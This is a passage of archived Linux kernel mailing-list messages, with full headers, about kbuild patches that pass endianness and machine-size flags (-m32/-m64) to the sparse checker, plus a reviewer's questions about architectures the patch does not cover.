         hQuxrruvTa/2uLLF8/8XQl0fGYcllR77GUzNXlGje748+b4FuaQek6pLawsyHlGSmK
         MpX6F+RAXA/PZnRMi+nE3PHI0j56r1SzHBp871OkKMPnO7o8kQFo/P/8IRFBEOIbje
         uW36lVZiM608Q==
X-Nifty-SrcIP: [209.85.217.176]
Original-Received: by mail-ua0-f176.google.com with SMTP id y8-v6so9915826ual.5;
        Tue, 29 May 2018 06:08:48 -0700 (PDT)
X-Gm-Message-State: ALKqPwejLyN51XhRxT72mRgGTezHjioYzbvMaUQi697D1r0rhjAk2qUI
        FRvgdXhf/w/r8AyK5fv2p2tZZXzo347dvG4QfN4=
X-Google-Smtp-Source: AB8JxZq/23SjzDlkt+SEhMIvbQzUBooLr/mpVJaiO5VPhVfVWYCYIyrH1X4YbHLWyjPACPc9m3gdjjdb5S/GG2U1KXw=
X-Received: by 2002:ab0:13c9:: with SMTP id n9-v6mr10979795uae.140.1527599327344;
 Tue, 29 May 2018 06:08:47 -0700 (PDT)
Original-Received: by 2002:ab0:55d8:0:0:0:0:0 with HTTP; Tue, 29 May 2018 06:08:06
 -0700 (PDT)
In-Reply-To: <20180528182735.18257-1-luc.vanoostenryck@gmail.com>
X-Gmail-Original-Message-ID: <CAK7LNASM461EHR-4VOMR8d-kx4v8RbZtr7cQ2YQ7X4JYTGenZg@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2781169 gmane.linux.kbuild.devel:20144 gmane.linux.ports.parisc:28668
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2781169>

2018-05-29 3:27 GMT+09:00 Luc Van Oostenryck <luc.vanoostenryck@gmail.com>:
> The kernel depends on macros like __BYTE_ORDER__,
> __BIG_ENDIAN__ or __LITTLE_ENDIAN__.
>
> OTOH, sparse doesn't know about the endianness of the kernel and
> by default uses the same as the machine on which sparse was built.
>
> Ensure that sparse can predefine the macros corresponding to
> how the kernel was configured by adding -m{big,little}-endian
> to CHECKFLAGS in the main Makefile (and so for all archs).
> Also, remove the equivalent done in arch specific Makefiles.
>
> Signed-off-by: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
> ---


Applied to linux-kbuild. Thanks.


>  Makefile               | 3 +++
>  arch/openrisc/Makefile | 1 -
>  arch/parisc/Makefile   | 2 +-
>  arch/s390/Makefile     | 2 +-
>  4 files changed, 5 insertions(+), 3 deletions(-)
>
> diff --git a/Makefile b/Makefile
> index 56ba070df..6c6610913 100644
> --- a/Makefile
> +++ b/Makefile
> @@ -878,6 +878,9 @@ ifeq ($(CONFIG_STRIP_ASM_SYMS),y)
>  LDFLAGS_vmlinux        += $(call ld-option, -X,)
>  endif
>
> +# insure the checker run with the right endianness
> +CHECKFLAGS += $(if $(CONFIG_CPU_BIG_ENDIAN),-mbig-endian,-mlittle-endian)
> +
>  # Default kernel image to build when no specific target is given.
>  # KBUILD_IMAGE may be overruled on the command line or
>  # set in the environment
> diff --git a/arch/openrisc/Makefile b/arch/openrisc/Makefile
> index cf8802962..89076a66e 100644
> --- a/arch/openrisc/Makefile
> +++ b/arch/openrisc/Makefile
> @@ -25,7 +25,6 @@ LDFLAGS_vmlinux :=
>  LIBGCC                 := $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
>
>  KBUILD_CFLAGS  += -pipe -ffixed-r10 -D__linux__
> -CHECKFLAGS     += -mbig-endian
>
>  ifeq ($(CONFIG_OPENRISC_HAVE_INST_MUL),y)
>         KBUILD_CFLAGS += $(call cc-option,-mhard-mul)
> diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
> index 34ac503e2..348ae4779 100644
> --- a/arch/parisc/Makefile
> +++ b/arch/parisc/Makefile
> @@ -22,7 +22,7 @@ KBUILD_IMAGE := vmlinuz
>  KBUILD_DEFCONFIG := default_defconfig
>
>  NM             = sh $(srctree)/arch/parisc/nm
> -CHECKFLAGS     += -D__hppa__=1 -mbig-endian
> +CHECKFLAGS     += -D__hppa__=1
>  LIBGCC         = $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
>  export LIBGCC
>
> diff --git a/arch/s390/Makefile b/arch/s390/Makefile
> index c79936d02..68a690442 100644
> --- a/arch/s390/Makefile
> +++ b/arch/s390/Makefile
> @@ -18,7 +18,7 @@ KBUILD_CFLAGS += -m64
>  KBUILD_AFLAGS  += -m64
>  UTS_MACHINE    := s390x
>  STACK_SIZE     := 16384
> -CHECKFLAGS     += -D__s390__ -D__s390x__ -mbig-endian
> +CHECKFLAGS     += -D__s390__ -D__s390x__
>
>  export LD_BFD
>
> --
> 2.17.0
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kbuild" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html



-- 
Best Regards
Masahiro Yamada


From - Thu Nov 08 21:41:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kbuild.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH] kbuild: add machine size to CHEKCFLAGS
Date: Wed, 30 May 2018 22:48:38 +0200
Lines: 147
Approved: news@gmane.org
Message-ID: <20180530204838.22079-1-luc.vanoostenryck@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1527713214 10290 195.159.176.226 (30 May 2018 20:46:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 30 May 2018 20:46:54 +0000 (UTC)
Cc: Michal Marek <michal.lkml@markovi.net>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        James Hogan <jhogan@kernel.org>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S . Miller" <davem@davemloft.net>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H . Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Brendan Higgins <brendanhiggins@google.com>,
        Martin Blumenstingl <martin.blumenstingl@googlemail.com
To: Masahiro Yamada <yamada.masahiro@socionext.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed May 30 22:46:46 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fO7zX-0002Se-UY
	for glk-linux-kernel-4@m.gmane.org; Wed, 30 May 2018 22:46:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932355AbeE3Usu (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 30 May 2018 16:48:50 -0400
Original-Received: from mail-wm0-f68.google.com ([74.125.82.68]:54505 "EHLO
        mail-wm0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932241AbeE3Usq (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 30 May 2018 16:48:46 -0400
Original-Received: by mail-wm0-f68.google.com with SMTP id f6-v6so50130584wmc.4;
        Wed, 30 May 2018 13:48:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=NxCegMAfjhY+CxljrV+ckItVZ7jwzw3nDyuhFpc4E94=;
        b=nwBjVmkH7XvZwQsq1OBotgSXyt0KJuAVT67pA933Pbc8VrfIzM/jeIWRGvATrcRDpG
         tIJMGowRbDjfk0QHuU4AKBxOjhbkARyJI6/bJJXDEDqw9bpMzZ5WhHppzDh19/jM4tD9
         u20BghFGJID1ZdaEmBYwMLQA6Dlp/DKRcG+XLB97Bohfjpr2h0Ga0e1/R5QQ9npADBkx
         bWBOclYTbVqU3I4vQC8wx/KL4TUnMVAdT85WxnV0/jmxm8A+ixhGVQejEVO8rroPD0y3
         cMIs4FUT9jqBl4Q5yun5ALbwiGYJqO9DaAVvfeF3eRHamJKFBAFaP6AJ5n9zCfz1S4Jx
         Un2A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=NxCegMAfjhY+CxljrV+ckItVZ7jwzw3nDyuhFpc4E94=;
        b=RG642yffn5+okSMgz72JB2Y4b0QSrDjqRgeV4VSxAgqQtomaAe0mz1rNqVnFJb6H2f
         Zi+ctk1Wdgamw+acG2obtqmhDd4UpXPMayYdbbrmEFi1O/MxNfn1qpcyXt8s55sehmcC
         s72DC6zab6sylTqrY9DqnAZcgg1LoVjjThSIlj6IyfbUq6CDzInmvYhe9IqWQu/8Ttac
         OUA2dWIKdnSRHzjcfQXIXvA4dpEs0YqFnGWt8+1cfM61sLVvORqfY8R5fRd+aGsOXjWs
         U+QRoR3mYRvueJRi2O+lyHZY7PH52PMrYQHU4gmstRVJgMPLD+HP2iQOYgGAk/cPN55s
         tBDw==
X-Gm-Message-State: ALKqPwd0cHAbg6y0iek41dJmQmTvRYlgQr8F7KBDDXJwsKDB13ufQjLk
        az8H2PDS4R2qNLxJhRIntZQ=
X-Google-Smtp-Source: ADUXVKINDuO0/TCwI7Elk9uJB+PeOccEzDuXpE3y7k4Jw/Ji4AM91DsuKRl9dnKVZJ0+Rgjaq+nPOg==
X-Received: by 2002:a50:ee8c:: with SMTP id f12-v6mr5037375edr.10.1527713324852;
        Wed, 30 May 2018 13:48:44 -0700 (PDT)
Original-Received: from localhost.localdomain ([2a02:a03f:405a:a00:51ca:be87:e123:c124])
        by smtp.gmail.com with ESMTPSA id t3-v6sm11532044edh.53.2018.05.30.13.48.43
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 30 May 2018 13:48:44 -0700 (PDT)
X-Mailer: git-send-email 2.17.0
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2783023 gmane.linux.kbuild.devel:20160 gmane.linux.ports.alpha:5100 gmane.linux.ports.arm.kernel:654133 gmane.linux.ports.ia64:28843 gmane.linux.ports.mips.general:64930 gmane.linux.ports.parisc:28669 gmane.linux.ports.sparc:27923
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2783023>

By default, sparse assumes a 64bit machine when compiled on x86-64
and 32bit when compiled on anything else.

This can of course create all sort of problems for the other archs, like
issuing false warnings ('shift too big (32) for type unsigned long'), or
worse, failing to emit legitimate warnings.

Fix this by adding the -m32/-m64 flag, depending on CONFIG_64BIT,
to CHECKFLAGS in the main Makefile (and so for all archs).
Also, remove the now unneeded -m32/-m64 in arch specific Makefiles.

Signed-off-by: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
---
 Makefile             | 3 +++
 arch/alpha/Makefile  | 2 +-
 arch/arm/Makefile    | 2 +-
 arch/arm64/Makefile  | 2 +-
 arch/ia64/Makefile   | 2 +-
 arch/mips/Makefile   | 3 ---
 arch/parisc/Makefile | 2 +-
 arch/sparc/Makefile  | 2 +-
 arch/x86/Makefile    | 2 +-
 9 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/Makefile b/Makefile
index 6c6610913..18379987c 100644
--- a/Makefile
+++ b/Makefile
@@ -881,6 +881,9 @@ endif
 # insure the checker run with the right endianness
 CHECKFLAGS += $(if $(CONFIG_CPU_BIG_ENDIAN),-mbig-endian,-mlittle-endian)
 
+# the checker needs the correct machine size
+CHECKFLAGS += $(if $(CONFIG_64BIT),-m64,-m32)
+
 # Default kernel image to build when no specific target is given.
 # KBUILD_IMAGE may be overruled on the command line or
 # set in the environment
diff --git a/arch/alpha/Makefile b/arch/alpha/Makefile
index 2cc3cc519..c5ec8c09c 100644
--- a/arch/alpha/Makefile
+++ b/arch/alpha/Makefile
@@ -11,7 +11,7 @@
 NM := $(NM) -B
 
 LDFLAGS_vmlinux	:= -static -N #-relax
-CHECKFLAGS	+= -D__alpha__ -m64
+CHECKFLAGS	+= -D__alpha__
 cflags-y	:= -pipe -mno-fp-regs -ffixed-8
 cflags-y	+= $(call cc-option, -fno-jump-tables)
 
diff --git a/arch/arm/Makefile b/arch/arm/Makefile
index e4e537f27..f32a5468d 100644
--- a/arch/arm/Makefile
+++ b/arch/arm/Makefile
@@ -135,7 +135,7 @@ endif
 KBUILD_CFLAGS	+=$(CFLAGS_ABI) $(CFLAGS_ISA) $(arch-y) $(tune-y) $(call cc-option,-mshort-load-bytes,$(call cc-option,-malignment-traps,)) -msoft-float -Uarm
 KBUILD_AFLAGS	+=$(CFLAGS_ABI) $(AFLAGS_ISA) $(arch-y) $(tune-y) -include asm/unified.h -msoft-float
 
-CHECKFLAGS	+= -D__arm__ -m32
+CHECKFLAGS	+= -D__arm__
 
 #Default value
 head-y		:= arch/arm/kernel/head$(MMUEXT).o
diff --git a/arch/arm64/Makefile b/arch/arm64/Makefile
index 87f7d2f9f..3c353b471 100644
--- a/arch/arm64/Makefile
+++ b/arch/arm64/Makefile
@@ -78,7 +78,7 @@ LDFLAGS		+= -maarch64linux
 UTS_MACHINE	:= aarch64
 endif
 
-CHECKFLAGS	+= -D__aarch64__ -m64
+CHECKFLAGS	+= -D__aarch64__
 
 ifeq ($(CONFIG_ARM64_MODULE_PLTS),y)
 KBUILD_LDFLAGS_MODULE	+= -T $(srctree)/arch/arm64/kernel/module.lds
diff --git a/arch/ia64/Makefile b/arch/ia64/Makefile
index 2dd7f519a..45f59808b 100644
--- a/arch/ia64/Makefile
+++ b/arch/ia64/Makefile
@@ -18,7 +18,7 @@ READELF := $(CROSS_COMPILE)readelf
 
 export AWK
 
-CHECKFLAGS	+= -m64 -D__ia64=1 -D__ia64__=1 -D_LP64 -D__LP64__
+CHECKFLAGS	+= -D__ia64=1 -D__ia64__=1 -D_LP64 -D__LP64__
 
 OBJCOPYFLAGS	:= --strip-all
 LDFLAGS_vmlinux	:= -static
diff --git a/arch/mips/Makefile b/arch/mips/Makefile
index 5e9fce076..e2122cca4 100644
--- a/arch/mips/Makefile
+++ b/arch/mips/Makefile
@@ -309,9 +309,6 @@ ifdef CONFIG_MIPS
 CHECKFLAGS += $(shell $(CC) $(KBUILD_CFLAGS) -dM -E -x c /dev/null | \
 	egrep -vw '__GNUC_(|MINOR_|PATCHLEVEL_)_' | \
 	sed -e "s/^\#define /-D'/" -e "s/ /'='/" -e "s/$$/'/" -e 's/\$$/&&/g')
-ifdef CONFIG_64BIT
-CHECKFLAGS		+= -m64
-endif
 endif
 
 OBJCOPYFLAGS		+= --remove-section=.reginfo
diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 348ae4779..714284ea6 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -28,7 +28,7 @@ export LIBGCC
 
 ifdef CONFIG_64BIT
 UTS_MACHINE	:= parisc64
-CHECKFLAGS	+= -D__LP64__=1 -m64
+CHECKFLAGS	+= -D__LP64__=1
 CC_ARCHES	= hppa64
 LD_BFD		:= elf64-hppa-linux
 else # 32-bit
diff --git a/arch/sparc/Makefile b/arch/sparc/Makefile
index edac927e4..966a13d2b 100644
--- a/arch/sparc/Makefile
+++ b/arch/sparc/Makefile
@@ -39,7 +39,7 @@ else
 # sparc64
 #
 
-CHECKFLAGS    += -D__sparc__ -D__sparc_v9__ -D__arch64__ -m64
+CHECKFLAGS    += -D__sparc__ -D__sparc_v9__ -D__arch64__
 LDFLAGS       := -m elf64_sparc
 export BITS   := 64
 UTS_MACHINE   := sparc64
diff --git a/arch/x86/Makefile b/arch/x86/Makefile
index 60135cbd9..f0a6ea224 100644
--- a/arch/x86/Makefile
+++ b/arch/x86/Makefile
@@ -94,7 +94,7 @@ ifeq ($(CONFIG_X86_32),y)
 else
         BITS := 64
         UTS_MACHINE := x86_64
-        CHECKFLAGS += -D__x86_64__ -m64
+        CHECKFLAGS += -D__x86_64__
 
         biarch := -m64
         KBUILD_AFLAGS += -m64
-- 
2.17.0



From - Thu Nov 08 21:41:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: =?UTF-8?Q?Andreas_F=c3=a4rber?= <afaerber@suse.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kbuild.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH] kbuild: add machine size to CHEKCFLAGS
Date: Thu, 31 May 2018 00:00:03 +0200
Organization: SUSE Linux GmbH
Lines: 47
Approved: news@gmane.org
Message-ID: <d47b72cc-9209-a190-38b3-969870e1bf26@suse.de>
References: <20180530204838.22079-1-luc.vanoostenryck@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1527717494 16936 195.159.176.226 (30 May 2018 21:58:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 30 May 2018 21:58:14 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.8.0
Cc: Masahiro Yamada <yamada.masahiro@socionext.com>,
        Michal Marek <michal.lkml@markovi.net>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        James Hogan <jhogan@kernel.org>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S . Miller" <davem@davemloft.net>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H . Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Brendan Higgins <brendanhiggins@google.com>,
To: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed May 30 23:58:07 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fO96Z-0008Fn-UB
	for glk-linux-kernel-4@m.gmane.org; Wed, 30 May 2018 23:58:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932497AbeE3WAM (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 30 May 2018 18:00:12 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:35623 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932222AbeE3WAJ (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 30 May 2018 18:00:09 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext-too.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id EAD73AF03;
        Wed, 30 May 2018 22:00:06 +0000 (UTC)
Openpgp: preference=signencrypt
Autocrypt: addr=afaerber@suse.de; prefer-encrypt=mutual; keydata=
 xsFNBE6W6ZQBEAC/BIukDnkVenIkK9O14UucicBIVvRB5WSMHC23msS+R2h915mW7/vXfn+V
 0nrr5ECmEg/5OjujKf0x/uhJYrsxcp45nDyYCk+RYoOJmGzzUFya1GvT/c04coZ8VmgFUWGE
 vCfhHJro85dZUL99IoLP21VXEVlCPyIngSstikeuf14SY17LPTN1aIpGQDI2Qt8HHY1zOVWv
 iz53aiFLFeIVhQlBmOABH2Ifr2M9loRC9yOyGcE2GhlzgyHGlQxEVGFn/QptX6iYbtaTBTU0
 c72rpmbe1Nec6hWuzSwu2uE8lF+HYcYi+22ml1XBHNMBeAdSEbSfDbwc///8QKtckUzbDvME
 S8j4KuqQhwvYkSg7dV9rs53WmjO2Wd4eygkC3tBhPM5s38/6CVGl3ABiWJs3kB08asUNy8Wk
 juusU/nRJbXDzxu1d+hv0d+s5NOBy/5+7Pa6HeyBnh1tUmCs5/f1D/cJnuzzYwAmZTHFUsfQ
 ygGBRRKpAVu0VxCFNPSYKW0ULi5eZV6bcj+NAhtafGsWcv8WPFXgVE8s2YU38D1VtlBvCo5/
 0MPtQORqAQ/Itag1EHHtnfuK3MBtA0fNxQbb2jha+/oMAi5hKpmB/zAlFoRtYHwjFPFldHfv
 Iljpe1S0rDASaF9NsQPfUBEm7dA5UUkyvvi00HZ3e7/uyBGb0QARAQABzSJBbmRyZWFzIEbD
 pHJiZXIgPGFmYWVyYmVyQHN1c2UuZGU+wsF7BBMBAgAlAhsDBgsJCAcDAgYVCAIJCgsEFgID
 AQIeAQIXgAUCTqGJnQI 
In-Reply-To: <20180530204838.22079-1-luc.vanoostenryck@gmail.com>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2783113 gmane.linux.kbuild.devel:20161 gmane.linux.ports.alpha:5101 gmane.linux.ports.arm.kernel:654149 gmane.linux.ports.ia64:28844 gmane.linux.ports.mips.general:64931 gmane.linux.ports.parisc:28670 gmane.linux.ports.sparc:27924
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2783113>

Hi Luc,

The typo in the subject made me curious...

Am 30.05.2018 um 22:48 schrieb Luc Van Oostenryck:
> By default, sparse assumes a 64bit machine when compiled on x86-64
> and 32bit when compiled on anything else.
> 
> This can of course create all sort of problems for the other archs, like
> issuing false warnings ('shift too big (32) for type unsigned long'), or
> worse, failing to emit legitimate warnings.
> 
> Fix this by adding the -m32/-m64 flag, depending on CONFIG_64BIT,
> to CHECKFLAGS in the main Makefile (and so for all archs).
> Also, remove the now unneeded -m32/-m64 in arch specific Makefiles.
> 
> Signed-off-by: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
> ---
>  Makefile             | 3 +++
>  arch/alpha/Makefile  | 2 +-
>  arch/arm/Makefile    | 2 +-
>  arch/arm64/Makefile  | 2 +-
>  arch/ia64/Makefile   | 2 +-
>  arch/mips/Makefile   | 3 ---
>  arch/parisc/Makefile | 2 +-
>  arch/sparc/Makefile  | 2 +-
>  arch/x86/Makefile    | 2 +-
>  9 files changed, 10 insertions(+), 10 deletions(-)

What about the architectures not touched by your patch that previously
had no -m32/-m64? (arc, c6x, h8300, hexagon, m68k, microblaze, nds32,
nios2, openrisc, powerpc, riscv, s390, sh, unicore32, xtensa)

You forgot to CC them on this patch.

Have you really checked that all their toolchains support the -m32/-m64
flags you newly introduce for them? Apart from non-biarch architectures,
I'm thinking of 31-bit s390 as a corner case where !64 != 32.

Regards,
Andreas

-- 
SUSE Linux GmbH, Maxfeldstr. 5, 90409 Nürnberg, Germany
GF: Felix Imendörffer, Jane Smithard, Graham Norton
HRB 21284 (AG Nürnberg)


From - Thu Nov 08 21:41:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rob Landley <rob@landley.net>
Newsgroups: gmane.linux.kernel,gmane.linux.kbuild.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH] kbuild: add machine size to CHEKCFLAGS
Date: Wed, 30 May 2018 17:36:45 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <0dd9d6dc-6cb3-157c-33ac-8c3e449a3859@landley.net>
References: <20180530204838.22079-1-luc.vanoostenryck@gmail.com>
 <d47b72cc-9209-a190-38b3-969870e1bf26@suse.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1527719696 4097 195.159.176.226 (30 May 2018 22:34:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 30 May 2018 22:34:56 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: Masahiro Yamada <yamada.masahiro@socionext.com>,
        Michal Marek <michal.lkml@markovi.net>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        James Hogan <jhogan@kernel.org>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S . Miller" <davem@davemloft.net>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H . Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Brendan Higgins <brendanhiggins@google.com>,
To: =?UTF-8?Q?Andreas_F=c3=a4rber?= <afaerber@suse.de>,
        Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu May 31 00:34:48 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fO9g8-0000vJ-Ei
	for glk-linux-kernel-4@m.gmane.org; Thu, 31 May 2018 00:34:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932592AbeE3Wg5 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 30 May 2018 18:36:57 -0400
Original-Received: from mail-it0-f67.google.com ([209.85.214.67]:36262 "EHLO
        mail-it0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753691AbeE3Wgw (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 30 May 2018 18:36:52 -0400
Original-Received: by mail-it0-f67.google.com with SMTP id e20-v6so25632684itc.1
        for <linux-kernel@vger.kernel.org>; Wed, 30 May 2018 15:36:52 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=landley-net.20150623.gappssmtp.com; s=20150623;
        h=subject:to:cc:references:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-language:content-transfer-encoding;
        bh=kgm5l5XhYV99nBDdwXztR+m6Mhkyb42YXSSjhwGnFsk=;
        b=pM/BdO6sKD3wfcSv9xvyZ9ZZCh95V7KGyxioXz7TwWqwLU9e34XtChmNbHZG4qdisG
         iKZCcD28oylehJumuvOJHI+idt/AL8JhGroW1BAiwQg9UB3e3wEwrkf6pIzOK+C+yBGA
         +ZakEAKiu3s5sZ1tD9ZhIe3pc8AsH6fazt0wGLIbSkoBf2gv4gPLfOuN/hYSAi3tzbCD
         VtKbVlzSP73VtTYMnaWNjmQmGnd/4O9HJ7ZBAvGSCtQQpErdiT6O5jw05WuhEbp28MJZ
         rbfk2fAQX2+aoTyKoPVWZCT7bXF7bjLcl9iTeoA2pSomumRaEw6MWhJxgdANM5jhlB+x
         S++g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:cc:references:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-language
         :content-transfer-encoding;
        bh=kgm5l5XhYV99nBDdwXztR+m6Mhkyb42YXSSjhwGnFsk=;
        b=tUQvrB3SjAmr9xhTmYtacCmjgAt7eGwuHcA9RE9+c8ofMyfX5WK8nApytRWMS4DV2f
         OD/skZc4BWNuseRJpIX54hDPpQLoUqNetDSwV8tQWqgwX3VwCXTACjCClRadzyPfCMPc
         Mm9ypXxuMh1VCw9I3EY+K0N2cuD+LGu6eIcKZWZCoPcMWdoTHpVCuIt/EUKUK6a/cf4j
